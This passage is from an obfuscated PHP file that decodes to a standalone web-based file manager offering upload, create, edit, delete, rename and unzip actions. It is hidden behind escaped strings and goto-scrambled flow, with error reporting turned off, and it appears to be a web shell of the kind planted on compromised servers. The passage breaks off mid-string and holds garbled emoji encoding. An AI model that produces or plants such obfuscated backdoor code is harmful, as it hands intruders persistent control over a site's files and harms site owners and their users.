69\144\x20\x23\145\x65\145\73\166\145\162\x74\x69\x63\141\x6c\55\141\x6c\151\147\x6e\x3a\x6d\151\144\144\154\145\73\167\157\162\144\x2d\x77\x72\141\x70\72\142\162\145\141\x6b\x2d\x77\x6f\x72\144\73\x7d\x2e\x66\x69\154\145\55\x74\x61\x62\154\x65\40\164\x68\x7b\142\x61\x63\x6b\x67\x72\157\165\156\x64\x3a\x23\x66\x39\x66\71\146\71\73\x70\141\144\x64\151\156\x67\72\61\x32\160\x78\x20\x38\160\x78\x3b\x7d\x2e\x66\151\x6c\145\x2d\x74\141\x62\x6c\x65\40\164\162\x3a\150\157\x76\x65\162\173\142\141\143\153\x67\x72\x6f\165\156\144\72\x23\146\60\x66\70\x66\x66\73\x7d\56\146\151\154\x65\x2d\x74\141\x62\154\145\x20\164\150\x3a\156\x74\150\55\x63\150\x69\154\144\50\x31\51\x2c\x2e\x66\151\x6c\145\x2d\x74\x61\142\154\145\x20\x74\144\72\x6e\164\150\x2d\x63\x68\x69\x6c\x64\x28\x31\x29\173\167\x69\x64\164\150\x3a\64\x30\x70\x78\73\x70\x61\144\x64\x69\x6e\147\72\x31\x32\x70\x78\x20\64\160\170\x20\x31\x32\x70\x78\40\x31\62\x70\x78\73\x74\145\170\164\x2d\141\x6c\151\x67\156\72\143\145\x6e\164\145\162\x3b\175\56\x66\151\x6c\x65\x2d\164\141\x62\x6c\145\x20\164\150\x3a\x6e\164\x68\x2d\x63\x68\x69\x6c\144\x28\x32\51\x2c\56\146\151\154\x65\55\164\141\142\x6c\145\40\x74\x64\72\156\x74\x68\x2d\143\x68\x69\154\x64\50\x32\51\x7b\167\x69\x64\164\150\x3a\x35\x30\45\x3b\160\x61\144\144\151\156\147\x2d\x6c\145\x66\x74\72\64\160\x78\73\175\x2e\x66\151\154\x65\55\164\141\x62\x6c\145\40\x74\x68\x3a\156\164\150\55\x63\150\x69\154\x64\50\63\51\54\56\x66\x69\154\x65\55\x74\x61\x62\x6c\x65\x20\164\144\x3a\156\x74\x68\55\143\x68\x69\x6c\x64\50\x33\x29\173\167\x69\x64\164\150\72\61\x32\x30\160\x78\73\x7d\56\x66\x69\x6c\x65\x2d\164\141\x62\x6c\145\40\164\x68\72\x6e\x74\150\x2d\x63\x68\151\x6c\x64\x28\64\51\54\56\146\x69\154\145\x2d\164\141\x62\154\x65\x20\x74\144\x3a\x6e\x74\x68\55\x63\150\151\x6c\x64\x28\x34\51\x7b\167\151\144\x74\150\72\x31\65\60\x70\x78\x3b\x7d\56\146\x69\154\145\x2d\x74\x61\x62\x6c\x65\40\164\150\72\x6e\164\x68\55\x63\150\x69\154\144\x28\x35\x29\173\x74\x65\170\x74\55\x61\154\151\147\156\72\162\151\147\x68\x74\x3b\x70\141\144\144\x69\x6e\x67\x2d\162\x69\x67\x68\x74\x3a\x31\x32\160\170\x3b\175\56\x61\143\x74\151\x6f\x6e\x73\x7b\144\151\163\160\154\x61\x79\x3a\x66\x6c\145\170\73\x6a\x75\x73\164\x69\x66\171\x2d\x63\x6f\156\x74\x65\156\x74\x3a\x66\154\x65\170\x2d\x65\x6e\x64\x3b\x67\141\x70\x3a\x35\x70\170\73\x7d\56\151\x74\x65\155\x2d\x6c\x69\156\153\x2c\141\x2e\151\164\x65\x6d\x2d\x6c\151\x6e\x6b\173\x74\145\x78\x74\x2d\x64\x65\x63\x6f\x72\141\x74\151\x6f\156\72\x6e\157\x6e\x65\x21\151\155\x70\157\162\164\x61\156\x74\x3b\143\157\154\x6f\162\x3a\166\141\x72\50\x2d\x2d\x61\143\x63\x65\x6e\x74\55\x63\x6f\x6c\157\162\51\x3b\x63\165\162\x73\157\162\72\160\157\151\x6e\x74\145\162\x3b\175\x2e\x69\164\145\155\x2d\154\151\156\x6b\72\x68\x6f\x76\145\162\x2c\x61\x2e\151\164\x65\155\55\x6c\151\x6e\x6b\72\150\157\166\x65\x72\x7b\x63\157\x6c\x6f\x72\x3a\x76\x61\162\50\x2d\55\x68\x6f\x76\x65\162\x2d\143\x6f\x6c\157\x72\51\73\x7d\164\162\133\x64\141\164\x61\55\x70\x61\164\x68\x5d\x7b\x63\165\162\163\x6f\162\x3a\160\x6f\151\x6e\x74\145\162\73\175\x2e\142\x75\x74\164\x6f\x6e\173\x62\141\x63\x6b\147\x72\157\165\x6e\144\x3a\x76\x61\162\x28\55\55\141\x63\x63\145\156\164\55\143\157\154\157\162\51\73\x63\x6f\x6c\157\x72\x3a\x77\x68\x69\x74\145\x3b\142\157\162\144\145\162\72\156\x6f\x6e\x65\73\x70\x61\144\144\x69\156\x67\x3a\x38\160\170\x20\61\x32\160\170\x3b\142\x6f\x72\144\145\162\55\162\x61\x64\151\165\163\72\x33\160\170\x3b\143\165\162\x73\x6f\x72\x3a\160\157\151\x6e\164\x65\162\x3b\146\157\156\164\x2d\163\x69\x7a\x65\72\61\x34\160\x78\73\x7d\x2e\142\165\x74\164\x6f\156\56\x64\141\x6e\147\145\162\173\142\141\143\x6b\x67\x72\157\x75\x6e\x64\x3a\166\x61\x72\x28\55\55\x64\141\156\x67\x65\162\x2d\143\157\x6c\157\162\51\x3b\x7d\x23\x73\x70\x69\x6e\x6e\145\162\x7b\144\x69\163\x70\x6c\x61\x79\x3a\x6e\157\x6e\x65\73\x7d\x2e\155\x6f\x64\x61\x6c\x2d\157\x76\145\x72\x6c\x61\x79\173\144\x69\x73\160\154\x61\171\x3a\156\x6f\x6e\x65\73\x70\x6f\x73\151\164\x69\x6f\x6e\72\x66\151\x78\x65\144\x3b\164\x6f\160\x3a\60\x3b\x6c\x65\146\x74\x3a\60\x3b\167\x69\144\x74\150\x3a\x31\60\x30\x25\73\150\x65\x69\147\x68\x74\72\61\60\x30\x25\73\142\x61\143\x6b\147\162\157\x75\x6e\x64\72\162\147\142\141\50\60\54\x30\x2c\60\x2c\x30\56\x36\51\x3b\x7a\55\x69\x6e\x64\x65\x78\x3a\61\x30\60\60\73\152\x75\163\x74\x69\x66\x79\x2d\x63\157\156\x74\145\156\164\72\143\x65\156\164\145\x72\73\x61\x6c\x69\147\x6e\55\151\164\x65\155\163\x3a\x63\x65\x6e\164\x65\162\73\x7d\x2e\x6d\157\144\141\x6c\55\x63\x6f\x6e\x74\145\156\164\x7b\x64\151\163\160\x6c\x61\171\72\x66\x6c\x65\x78\73\146\x6c\145\170\x2d\x64\151\x72\145\143\x74\151\157\156\x3a\x63\157\x6c\165\155\x6e\73\142\x61\143\153\x67\162\x6f\x75\156\144\x3a\43\x66\x66\146\73\x70\141\144\x64\x69\156\147\72\62\x30\160\170\73\142\x6f\x72\x64\x65\x72\55\x72\x61\144\x69\165\163\x3a\65\x70\170\x3b\167\151\144\x74\x68\72\x38\60\45\73\150\x65\x69\x67\x68\164\x3a\70\60\45\73\x6d\141\170\55\x77\x69\x64\x74\150\72\71\x30\x30\160\170\73\142\x6f\x78\x2d\163\x68\141\x64\157\x77\72\60\x20\x35\x70\x78\40\61\x35\x70\x78\x20\162\x67\x62\141\x28\x30\x2c\x30\54\60\x2c\x30\x2e\x33\51\x3b\175\x74\x65\x78\x74\x61\162\145\141\43\x65\x64\151\164\x6f\162\x7b\x66\154\145\170\x2d\x67\162\157\167\x3a\61\73\x66\x6f\156\164\x2d\x66\x61\x6d\x69\154\x79\x3a\155\x6f\x6e\157\x73\160\x61\x63\145\73\146\x6f\156\164\x2d\x73\x69\172\145\x3a\x31\x34\160\170\x3b\x62\157\x72\144\x65\x72\x3a\61\160\170\x20\x73\x6f\154\x69\x64\x20\43\x64\x64\x64\73\160\x61\x64\x64\x69\x6e\x67\x3a\61\60\x70\x78\x3b\175\xa\40\40\x20\40\x3c\57\163\164\171\x6c\x65\76\12\x3c\57\x68\x65\x61\144\x3e\12\x3c\142\157\x64\171\x3e\12\40\40\x20\x20\x3c\144\x69\166\40\x63\154\141\163\163\75\42\x63\157\156\164\141\x69\x6e\145\x72\x22\x3e\xa\40\40\40\40\x20\x20\x20\40\x3c\150\145\x61\144\145\x72\76\x3c\x68\x33\x3e\x46\151\154\x65\x20\x4d\x61\156\141\x67\145\x72\x20\50\123\164\x61\x6e\144\141\154\157\156\145\x29\74\x2f\x68\63\76\74\57\x68\145\141\x64\145\162\76\12\x20\x20\x20\x20\40\40\x20\40\x3c\x6d\141\151\156\76\12\40\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x3c\144\151\166\40\x63\154\141\x73\163\75\42\164\157\157\x6c\x62\141\162\x22\x3e\x3c\x62\165\164\x74\157\156\40\x63\154\x61\x73\163\75\x22\x62\x75\x74\x74\x6f\156\x22\40\x69\144\x3d\x22\x75\x70\x6c\157\141\x64\x42\x74\156\42\76\303\203\xc2\xa2\303\202\302\xac\303\202\xc2\206\303\203\302\xaf\303\x82\xc2\270\303\202\302\217\x20\x55\160\154\x6f\141\x64\x3c\x2f\x62\x75\164\x74\157\x6e\76\74\x62\165\x74\x74\x6f\x6e\40\x63\154\x61\163\x73\75\x22\x62\165\x74\x74\x6f\x6e\42\40\151\x64\x3d\x22\156\145\x77\x46\151\x6c\145\102\x74\156\42\76\xc3\x83\302\260\303\x82\xc2\x9f\303\x82\xc2\x93\xc3\x82\302\204\40\x4e\145\x77\40\106\151\x6c\145\x3c\x2f\142\165\164\x74\157\156\76\x3c\142\165\x74\164\157\156\x20\143\x6c\141\163\x73\75\42\142\x75\164\164\157\x6e\x22\x20\151\x64\x3d\x22\x6e\145\167\106\157\x6c\144\x65\162\x42\164\156\x22\x3e\xc3\203\302\xa2\303\x82\xc2\x9e\xc3\x82\302\225\40\x4e\x65\167\40\106\x6f\x6c\x64\145\162\74\57\142\x75\164\164\x6f\156\76\74\142\165\x74\164\x6f\156\40\143\x6c\x61\163\163\x3d\42\x62\165\164\x74\157\x6e\x20\144\141\156\x67\145\162\42\x20\151\x64\x3d\42\144\x65\154\x65\164\x65\x42\x74\156\42\76\303\x83\xc2\260\303\202\xc2\x9f\303\202\xc2\227\303\202\302\x91\xc3\203\302\xaf\xc3\202\xc2\270\303\x82\302\x8f\x20\x44\145\x6c\145\164\x65\40\x53\x65\154\x65\143\x74\145\x64\x3c\x2f\142\x75\164\x74\157\156\76\x3c\144\151\x76\x20\x69\144\x3d\x22\163\x70\x69\x6e\x6e\145\162\42\76\303\x83\302\260\303\202\xc2\x9f\xc3\202\302\x95\xc3\202\xc2\222\74\57\x64\x69\x76\x3e\x3c\x2f\144\x69\x76\76\xa\40\x20\40\40\x20\x20\x20\40\40\40\40\x20\74\144\x69\x76\40\143\154\x61\163\163\x3d\x22\164\x6f\157\154\142\x61\x72\42\76\x3c\144\x69\x76\40\x63\154\x61\x73\x73\x3d\42\160\x61\164\x68\x2d\142\x61\x72\x22\40\x69\144\x3d\42\x70\x61\164\x68\102\141\x72\x22\76\57\74\x2f\x64\x69\x76\76\x3c\57\144\151\x76\76\12\40\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\x3c\x74\141\x62\x6c\145\x20\x63\x6c\x61\163\x73\75\x22\x66\x69\x6c\x65\55\x74\141\142\x6c\145\x22\x3e\x3c\164\150\x65\141\x64\x3e\74\x74\162\x3e\74\164\x68\76\74\151\156\160\x75\164\40\x74\x79\x70\x65\x3d\42\x63\150\x65\143\x6b\x62\x6f\170\42\40\x69\144\75\x22\x73\x65\154\x65\143\x74\101\154\x6c\42\x3e\74\x2f\164\150\76\x3c\164\150\76\x4e\x61\155\145\74\x2f\164\x68\x3e\x3c\164\x68\x3e\123\x69\x7a\x65\x3c\x2f\164\x68\x3e\x3c\x74\150\x3e\x4d\x6f\144\x69\x66\x69\x65\x64\x3c\x2f\164\150\76\x3c\164\150\76\101\143\x74\x69\x6f\x6e\163\74\x2f\x74\x68\76\74\x2f\164\162\x3e\x3c\x2f\x74\150\x65\141\x64\x3e\x3c\164\142\157\144\x79\x20\x69\144\75\x22\146\151\154\145\114\151\x73\x74\x22\76\x3c\57\x74\142\157\x64\171\x3e\74\x2f\164\x61\142\154\x65\x3e\12\40\x20\40\x20\x20\x20\x20\40\x3c\57\155\x61\151\x6e\76\xa\40\x20\x20\40\74\57\x64\151\166\76\xa\x20\40\40\40\74\144\x69\166\x20\x69\x64\x3d\42\145\144\151\x74\x6f\162\115\157\144\x61\154\42\x20\143\x6c\141\163\163\75\42\155\x6f\x64\x61\x6c\55\157\166\145\x72\154\x61\171\42\x3e\74\144\x69\x76\x20\143\x6c\x61\x73\163\75\42\x6d\157\144\141\154\x2d\143\x6f\156\164\x65\156\x74\42\x3e\x3c\150\x33\x20\x69\144\75\x22\145\x64\151\164\157\x72\106\x69\x6c\x65\x6e\141\x6d\145\42\40\x73\x74\x79\x6c\x65\75\42\x6d\141\x72\147\x69\156\x2d\x74\x6f\x70\x3a\60\x3b\42\x3e\74\57\x68\63\x3e\x3c\x74\145\170\164\x61\162\145\141\40\151\x64\x3d\42\145\144\151\164\157\162\x22\40\x73\x70\x65\x6c\x6c\143\150\145\x63\153\x3d\42\x66\141\154\163\x65\42\76\74\57\x74\145\x78\164\141\162\x65\x61\x3e\x3c\x64\x69\x76\40\163\164\171\154\x65\x3d\x22\x6d\x61\162\x67\151\x6e\x2d\x74\x6f\160\72\x31\x30\160\x78\73\42\x3e\x3c\x62\165\x74\164\157\x6e\x20\x63\x6c\x61\163\x73\x3d\x22\x62\165\164\x74\x6f\156\x22\x20\151\144\75\42\x73\x61\166\145\102\x74\156\42\x3e\303\203\302\260\xc3\x82\xc2\237\303\202\xc2\222\303\202\302\276\x20\123\x61\166\x65\40\x43\x68\x61\x6e\147\x65\163\x3c\57\142\165\x74\x74\x6f\156\76\x3c\142\165\x74\164\157\x6e\40\x63\x6c\x61\163\x73\75\42\x62\x75\x74\164\x6f\x6e\x22\40\x6f\x6e\143\154\x69\x63\153\x3d\x22\144\157\x63\165\x6d\145\x6e\164\56\x67\x65\x74\105\154\x65\x6d\x65\156\x74\102\171\111\144\x28\x27\145\144\151\x74\157\x72\x4d\x6f\x64\x61\x6c\x27\51\56\x73\164\x79\154\145\56\x64\151\x73\160\154\141\x79\75\x27\156\x6f\156\145\47\x22\x3e\103\154\157\x73\145\x3c\57\142\x75\x74\164\157\x6e\76\74\x2f\x64\151\x76\76\x3c\x2f\144\x69\x76\76\74\x2f\x64\151\166\76\xa\x20\x20\40\x20\x3c\x69\156\160\x75\164\x20\x74\x79\160\145\x3d\42\x66\x69\x6c\x65\42\40\151\144\75\42\x68\x69\x64\144\x65\x6e\x46\151\154\x65\x49\x6e\x70\165\164\x22\x20\x6d\x75\x6c\x74\x69\160\154\x65\40\x73\164\171\x6c\145\x3d\42\x64\x69\x73\160\x6c\x61\171\72\156\157\156\145\x3b\42\x3e\12\40\40\x20\40\74\x73\143\x72\151\x70\164\x3e\xa\x20\x20\40\40\x64\x6f\143\165\x6d\145\156\164\56\x61\x64\144\x45\x76\145\156\x74\114\x69\x73\164\145\156\145\162\x28\x27\x44\x4f\115\103\157\x6e\164\x65\x6e\x74\x4c\157\141\144\145\144\x27\x2c\x20\50\x29\x20\75\76\40\x7b\12\40\x20\x20\40\40\40\40\x20\x63\157\x6e\163\x74\40\x53\124\101\x54\x45\40\x3d\x20\173\40\x63\x75\x72\162\x65\x6e\164\x50\x61\164\x68\x3a\x20\47"; goto Mxmu2; wlMgD: error_reporting(0); goto erxkd; lHG0m: echo "\x27\x2c\40\x7b\40\155\145\x74\150\157\144\x3a\x20\x27\x50\117\x53\124\47\54\40\142\x6f\x64\x79\x3a\40\146\157\x72\x6d\104\x61\x74\141\40\x7d\x29\x3b\40\x63\x6f\156\x73\164\40\x72\x65\163\165\154\x74\x20\x3d\40\141\x77\x61\151\x74\x20\x72\x65\x73\x70\157\x6e\x73\x65\56\x6a\x73\x6f\156\x28\x29\x3b\40\x69\146\40\x28\41\x72\x65\x73\x75\154\x74\x2e\163\165\143\143\x65\x73\163\51\x20\164\150\x72\157\x77\40\156\x65\167\40\105\162\162\x6f\162\50\x72\x65\163\x75\x6c\x74\x2e\155\145\x73\163\141\147\x65\51\x3b\x20\151\x66\40\x28\163\150\157\x77\123\x75\x63\x63\145\163\x73\40\46\x26\40\x72\x65\x73\165\x6c\164\x2e\x6d\145\163\163\141\147\x65\51\40\x61\x6c\145\x72\164\x28\x72\145\x73\165\154\164\x2e\155\x65\x73\x73\141\x67\x65\x29\x3b\x20\162\145\164\x75\x72\x6e\x20\162\x65\x73\165\x6c\x74\73\12\40\x20\40\40\40\x20\x20\x20\40\x20\40\40\x7d\40\x63\141\164\x63\150\40\x28\x65\162\162\157\162\51\40\x7b\40\x61\154\x65\x72\x74\x28\140\105\162\162\157\162\72\x20\44\173\145\x72\162\157\162\x2e\x6d\145\163\163\x61\x67\x65\175\140\51\73\40\143\157\x6e\163\157\154\145\x2e\x65\162\162\x6f\x72\x28\42\x46\165\x6c\154\40\162\145\x73\160\x6f\x6e\163\145\x3a\42\x2c\40\x65\162\162\157\x72\56\162\145\x73\x70\157\x6e\x73\145\51\x3b\x20\162\x65\164\x75\x72\156\40\x6e\x75\x6c\x6c\x3b\x20\x7d\40\146\x69\156\141\x6c\154\171\x20\173\40\144\x6f\x6d\56\x73\x70\x69\x6e\x6e\145\x72\56\x73\164\171\x6c\x65\56\144\151\x73\x70\154\141\x79\75\47\156\157\156\145\x27\x3b\x20\175\12\40\x20\x20\x20\x20\x20\40\40\175\xa\x20\x20\x20\x20\x20\40\40\40\146\165\156\143\x74\151\157\156\x20\162\x65\x6e\144\x65\x72\x28\51\x20\173\xa\x20\x20\x20\40\40\40\x20\x20\x20\40\40\40\x63\157\156\x73\x74\40\x66\157\162\x6d\104\x61\164\x61\x20\75\x20\156\x65\167\40\106\157\162\155\104\141\164\141\50\x29\x3b\x20\x66\x6f\x72\155\x44\141\164\141\x2e\x61\x70\x70\145\x6e\144\x28\x27\x70\x61\164\x68\47\x2c\x20\x53\x54\x41\124\105\56\x63\165\162\x72\x65\156\x74\x50\x61\164\x68\x29\73\xa\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\x20\x61\x70\151\103\141\154\x6c\x28\47\x6c\x69\x73\164\x27\54\40\146\157\x72\155\104\x61\164\x61\x29\x2e\164\x68\145\156\50\162\145\x73\165\x6c\x74\x20\x3d\76\40\x7b\xa\40\x20\40\x20\x20\40\x20\40\40\x20\x20\40\40\40\40\x20\x69\x66\40\50\41\162\145\163\x75\x6c\164\51\x20\x72\x65\164\165\x72\x6e\73\xa\x20\40\40\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\123\x54\101\124\x45\56\x63\165\x72\162\145\156\x74\120\141\164\x68\40\75\x20\x72\145\163\x75\154\164\56\x70\x61\164\x68\x3b\40\x64\x6f\155\x2e\x70\x61\164\x68\x42\141\162\x2e\164\145\170\x74\x43\157\156\x74\x65\156\164\x20\75\40\123\124\x41\x54\x45\x2e\x63\165\x72\162\145\x6e\x74\x50\141\164\x68\73\x20\154\145\x74\40\x68\164\x6d\x6c\x20\75\x20\47\x27\73\x20\154\x65\x74\40\x70\x61\162\145\156\164\120\x61\x74\x68\x20\x3d\x20\123\124\101\x54\x45\56\x63\165\x72\162\x65\156\x74\x50\141\164\150\x2e\163\165\x62\x73\164\162\151\156\147\50\x30\x2c\40\x53\124\x41\x54\105\56\143\x75\162\x72\x65\x6e\x74\120\x61\x74\150\56\x6c\141\163\x74\111\x6e\144\x65\x78\117\146\50\x27\57\x27\51\x29\73\x20\x69\146\40\50\160\141\x72\145\x6e\x74\120\141\164\150\x20\x3d\x3d\75\40\x27\47\51\x20\x70\x61\162\145\x6e\x74\x50\x61\164\x68\40\x3d\x20\47\x2f\47\73\xa\40\40\40\40\40\x20\40\40\40\x20\x20\40\40\40\x20\40\151\x66\40\x28\x53\x54\101\124\105\x2e\x63\x75\162\162\x65\156\164\120\x61\x74\150\x20\41\75\75\x20\x27\57\47\51\x20\173\x20\x68\x74\x6d\154\40\53\75\40\x60\x3c\x74\x72\40\144\x61\x74\x61\x2d\160\x61\x74\150\x3d\42\44\x7b\160\141\x72\145\x6e\164\x50\x61\164\x68\x7d\x22\76\x3c\x74\x64\76\74\57\164\x64\x3e\74\164\x64\x20\x63\x6f\154\163\160\x61\x6e\75\42\x34\42\40\143\x6c\x61\x73\x73\x3d\42\x69\164\145\155\x2d\154\x69\156\153\42\x3e\xc3\203\xc2\xa2\303\202\xc2\254\xc3\x82\302\206\xc3\x83\302\xaf\303\x82\xc2\270\303\x82\xc2\x8f\40\x2e\x2e\40\50\x50\141\162\x65\x6e\x74\40\104\x69\162\x65\x63\164\x6f\162\171\x29\x3c\57\164\x64\x3e\x3c\57\164\162\76\x60\x3b\40\x7d\xa\40\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\x20\40\x20\162\145\x73\165\154\164\56\146\x69\x6c\145\163\x2e\x73\157\162\164\50\x28\x61\54\x62\x29\40\x3d\x3e\x20\x28\141\x2e\x69\163\137\144\x69\162\40\75\75\75\x20\142\x2e\151\x73\x5f\x64\x69\x72\x29\x20\x3f\x20\x61\x2e\156\x61\x6d\145\56\x6c\x6f\143\x61\x6c\x65\x43\x6f\155\160\141\x72\145\x28\x62\56\x6e\x61\155\x65\51\x20\x3a\x20\x28\x61\56\151\163\137\144\151\x72\40\77\40\x2d\x31\40\72\40\61\x29\x29\x3b\12\x20\40\40\40\x20\40\x20\x20\40\x20\40\x20\40\40\40\40\x72\x65\163\165\x6c\164\56\x66\x69\154\x65\x73\x2e\x66\x6f\162\x45\x61\x63\150\50\x66\151\154\x65\40\x3d\76\x20\173\xa\40\x20\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\x20\x20\x20\40\40\40\x63\157\x6e\163\164\x20\x73\151\172\145\40\x3d\40\x66\x69\x6c\145\56\x69\163\x5f\x64\x69\x72\x20\x3f\40\x27\55\47\40\72\40\50\146\151\x6c\145\56\163\151\172\145\40\57\x20\x31\60\x32\x34\51\x2e\x74\157\106\151\x78\145\x64\x28\x32\x29\40\53\40\47\40\x4b\102\47\x3b\x20\x63\x6f\156\163\164\40\x6d\x6f\144\x69\x66\151\145\x64\x20\x3d\40\156\145\167\x20\104\x61\x74\145\x28\x66\151\154\145\x2e\155\x6f\x64\x69\146\x69\x65\144\x20\x2a\x20\61\x30\x30\60\51\x2e\x74\x6f\x4c\x6f\x63\x61\154\145\x53\164\162\151\x6e\x67\x28\x29\x3b\xa\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\40\40\x20\40\143\x6f\156\x73\x74\40\x69\x63\157\156\40\75\x20\146\x69\154\145\56\x69\x73\x5f\144\x69\x72\40\x3f\40\x27\xc3\203\302\260\xc3\202\302\x9f\303\x82\xc2\223\303\202\xc2\201\x27\x20\72\40\x27\xc3\x83\xc2\xb0\303\x82\xc2\237\303\202\xc2\223\303\x82\xc2\x84\x27\x3b\xa\40\40\x20\40\x20\40\x20\x20\40\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\143\157\156\163\164\40\x66\165\x6c\x6c\120\141\x74\150\40\75\40\x60\44\173\x53\x54\101\x54\105\56\x63\x75\x72\162\145\x6e\x74\120\x61\164\150\x7d\x2f\44\x7b\146\x69\x6c\x65\56\156\141\155\145\175\140\x2e\162\145\x70\154\141\143\145\x28\57\x5c\x2f\53\x2f\x67\54\x20\x27\x2f\x27\51\73\x20\x63\157\156\x73\164\x20\144\x61\164\141\x41\164\x74\x72\40\75\40\140\144\x61\x74\141\55\x70\x61\x74\x68\x3d\42\44\173\x66\x75\154\154\x50\141\x74\150\175\42\140\73\x20\143\157\x6e\163\164\40\x72\157\x77\104\x61\x74\x61\x20\75\40\146\151\154\x65\56\x69\163\x5f\144\151\x72\40\x3f\x20\140\143\x6c\141\163\163\x3d\42\144\151\162\x2d\154\x69\x6e\x6b\42\x20\44\173\x64\x61\x74\x61\101\x74\164\x72\175\x60\x20\x3a\x20\x27\x27\73\12\40\x20\x20\40\x20\40\40\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\40\150\x74\155\x6c\x20\53\x3d\x20\140\74\x74\x72\x20\x24\x7b\x72\x6f\167\104\x61\164\x61\175\x3e\x3c\164\x64\76\74\151\x6e\160\165\x74\40\x74\171\x70\x65\x3d\42\143\150\145\143\153\x62\157\170\x22\x20\143\x6c\141\163\163\x3d\42\x69\x74\145\155\x2d\x73\x65\154\145\143\164\x22\x20\166\141\154\x75\x65\75\x22\44\x7b\146\x69\x6c\x65\x2e\x6e\x61\155\145\x7d\x22\76\x3c\x2f\x74\x64\76\74\164\144\x3e\x3c\141\x20\x68\x72\x65\146\75\x22\x23\x22\40\x63\x6c\141\163\x73\x3d\x22\x69\164\145\155\x2d\x6c\x69\x6e\x6b\42\x20\44\173\144\x61\164\141\101\x74\x74\162\175\x3e\44\x7b\151\143\x6f\156\175\x20\x24\x7b\x66\x69\x6c\x65\x2e\156\141\x6d\145\x7d\x3c\x2f\x61\76\74\57\x74\144\x3e\74\164\144\76\x24\173\163\151\172\145\x7d\74\x2f\164\x64\x3e\x3c\164\144\x3e\x24\173\x6d\x6f\144\x69\x66\x69\x65\144\x7d\74\x2f\x74\144\x3e\x3c\x74\144\76\74\144\x69\x76\40\x63\154\141\163\x73\x3d\x22\141\143\x74\x69\x6f\x6e\163\x22\x3e\x24\x7b\x21\x66\x69\154\x65\56\x69\x73\x5f\x64\151\x72\x20\x3f\x20\x60\74\x62\x75\164\x74\157\156\40\143\x6c\x61\x73\163\75\x22\142\x75\x74\164\x6f\x6e\x20\x65\x64\x69\x74\55\142\x74\156\x22\40\x24\173\144\x61\164\x61\x41\x74\164\162\x7d\76\x45\144\151\164\x3c\x2f\x62\165\164\164\x6f\x6e\x3e\x60\x20\x3a\x20\47\x27\x7d\74\142\x75\164\x74\157\x6e\x20\143\154\x61\x73\163\x3d\42\142\165\164\x74\x6f\x6e\x20\x72\x65\156\141\x6d\145\x2d\x62\164\x6e\x22\x20\x64\x61\164\x61\55\x6e\x61\155\x65\x3d\42\44\173\146\151\154\145\x2e\156\x61\155\145\175\x22\x3e\x52\x65\156\x61\155\x65\x3c\x2f\142\165\164\164\x6f\156\x3e\x24\x7b\x66\151\x6c\x65\x2e\x6e\x61\155\x65\56\x65\x6e\144\163\x57\x69\164\x68\50\47\56\172\151\x70\47\x29\40\77\40\140\x3c\x62\165\x74\164\157\x6e\40\x63\x6c\141\x73\x73\75\42\x62\x75\164\164\x6f\156\x20\165\156\172\x69\160\55\142\164\156\42\x20\x24\x7b\x64\x61\164\141\x41\164\164\x72\x7d\x3e\x55\156\x7a\151\160\74\57\x62\x75\164\x74\157\x6e\76\x60\x3a\47\x27\40\x7d\74\57\144\x69\166\76\74\57\x74\144\x3e\74\57\164\x72\x3e\140\73\xa\40\x20\40\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\x20\x7d\51\x3b\12\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\x64\x6f\x6d\x2e\146\x69\x6c\145\114\x69\x73\x74\x2e\151\x6e\156\145\162\x48\124\x4d\114\x20\75\40\x68\x74\x6d\x6c\x3b\x20\144\x6f\x6d\56\x73\145\x6c\x65\143\x74\101\154\x6c\x2e\143\150\145\143\x6b\x65\x64\x20\75\x20\x66\x61\x6c\x73\x65\73\xa\40\x20\x20\x20\x20\40\40\x20\40\40\40\40\x7d\x29\x3b\12\x20\40\40\x20\40\40\40\x20\x7d\xa\x20\40\x20\40\x20\40\x20\40\12\40\40\x20\x20\x20\x20\x20\40\144\x6f\155\x2e\146\x69\x6c\x65\114\151\163\x74\x2e\141\144\x64\x45\166\145\x6e\x74\x4c\x69\163\164\145\x6e\x65\x72\x28\47\x63\154\151\x63\x6b\x27\54\x20\x65\x20\75\x3e\40\173\12\40\40\40\40\40\40\x20\40\40\x20\x20\40\x69\x66\40\50\145\x2e\x74\141\162\147\145\164\x2e\x6d\141\164\x63\x68\145\163\50\x27\x2e\x69\164\145\155\55\163\x65\x6c\x65\143\x74\x27\51\x29\x20\x7b\x20\162\145\164\x75\x72\156\x3b\x20\x7d\xa\x20\40\40\40\x20\40\40\40\x20\40\x20\x20\143\157\156\x73\164\x20\x62\165\x74\164\157\x6e\40\75\x20\145\x2e\x74\141\x72\x67\x65\x74\56\143\x6c\157\163\145\163\164\50\47\142\x75\x74\164\157\x6e\47\51\x3b\12\x20\x20\40\40\x20\40\40\40\40\40\x20\x20\x69\x66\40\50\x62\165\x74\x74\x6f\x6e\51\x20\173\xa\40\40\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\x65\x2e\x70\x72\x65\166\x65\156\164\104\145\146\141\165\x6c\164\50\51\x3b\12\40\40\40\40\40\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\151\146\x20\x28\x62\x75\164\x74\157\156\56\155\141\164\x63\x68\x65\163\50\x27\x2e\x72\x65\x6e\141\x6d\145\x2d\142\164\x6e\x27\51\51\40\173\12\40\x20\40\40\40\40\40\40\40\x20\40\x20\40\x20\x20\40\x20\40\40\x20\x63\x6f\156\163\x74\x20\157\x6c\144\116\141\x6d\145\x20\75\40\142\165\x74\x74\x6f\156\56\144\141\164\x61\163\x65\164\x2e\x6e\141\155\145\73\12\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\40\40\40\x20\143\157\156\x73\x74\40\156\145\x77\x4e\x61\155\x65\x20\75\x20\x70\x72\157\x6d\x70\164\x28\x27\105\x6e\164\145\162\40\x6e\x65\167\x20\156\x61\x6d\x65\72\47\x2c\x20\x6f\154\144\x4e\x61\155\x65\x29\x3b\12\40\x20\40\40\40\40\40\x20\40\40\40\40\x20\x20\x20\40\x20\x20\x20\40\x69\x66\40\50\156\x65\x77\x4e\141\155\x65\x20\x26\x26\x20\x6e\145\167\x4e